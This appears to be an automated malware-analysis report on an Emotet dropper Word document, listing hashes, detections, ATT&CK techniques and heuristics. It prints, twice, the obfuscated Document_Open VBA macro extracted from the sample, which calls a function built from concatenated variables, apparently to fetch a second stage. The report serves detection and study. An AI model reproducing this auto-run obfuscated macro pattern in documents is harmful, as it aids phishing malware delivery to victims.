Emotet Office (OLE) malware analysis — malicious · f17b35b659c0e662

MALICIOUS

Office (OLE)

70.2 KB First seen: 2019-04-18

MD5: 09ccff657ac41b8f445eac7a8c7d7dab SHA-1: ddd122898fc019939454a250107c2d2cc283041f SHA-256: f17b35b659c0e66263a1126abeb1658cb415c1cfc84fd66120607e3b1faa9671

162 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Dropper.Emotet-6769465-0, indicating the Emotet family. A Document_Open VBA macro is present, which is a common technique for Emotet to execute its initial payload. The macro calls a function with a concatenated string of variables, likely forming a URL or command to download and execute a second-stage payload.

Heuristics 5

ClamAV: Doc.Dropper.Emotet-6769465-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Emotet-6769465-0
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY

OLE file is 71,866 bytes but its declared streams total only 36,254 bytes — 35,612 bytes (50%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 765 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	765 bytes
SHA-256: `346a9f97cd1c720b52e364e146e169393856691e5a32a3b390e78a056266f30b`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "jVYtUPcqB" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() If iNHpEw >= dsZGTv Then End If If SpOYK Eqv 15 Then End If If ZMchXh And 12 Then End If If IzEXM Xor 16 Then End If If mEciUV < 15 Then End If If MzzOW = XFAJr Then End If mmjATOqHNPqPj (ttjtpuWFM + tljhitiiGLo + nrcnHF + njEqOSbS + FDMRWCinY + OkhQzwYF + XqjwQ + GDYrDJMSc + djiiR + YKFtH + IjOCi + EkWMOB) If AjGnC <= SlUWj Then End If If YKIwA <> DQjLs Then End If End Sub

SHA-256: 346a9f97cd1c720b52e364e146e169393856691e5a32a3b390e78a056266f30b

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "jVYtUPcqB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
   If iNHpEw >= dsZGTv Then


End If
   If SpOYK Eqv 15 Then


End If
   If ZMchXh And 12 Then


End If
   If IzEXM Xor 16 Then


End If
   If mEciUV < 15 Then


End If
   If MzzOW = XFAJr Then


End If
mmjATOqHNPqPj (ttjtpuWFM + tljhitiiGLo + nrcnHF + njEqOSbS + FDMRWCinY + OkhQzwYF + XqjwQ + GDYrDJMSc + djiiR + YKFtH + IjOCi + EkWMOB)
   If AjGnC <= SlUWj Then


End If
   If YKIwA <> DQjLs Then


End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.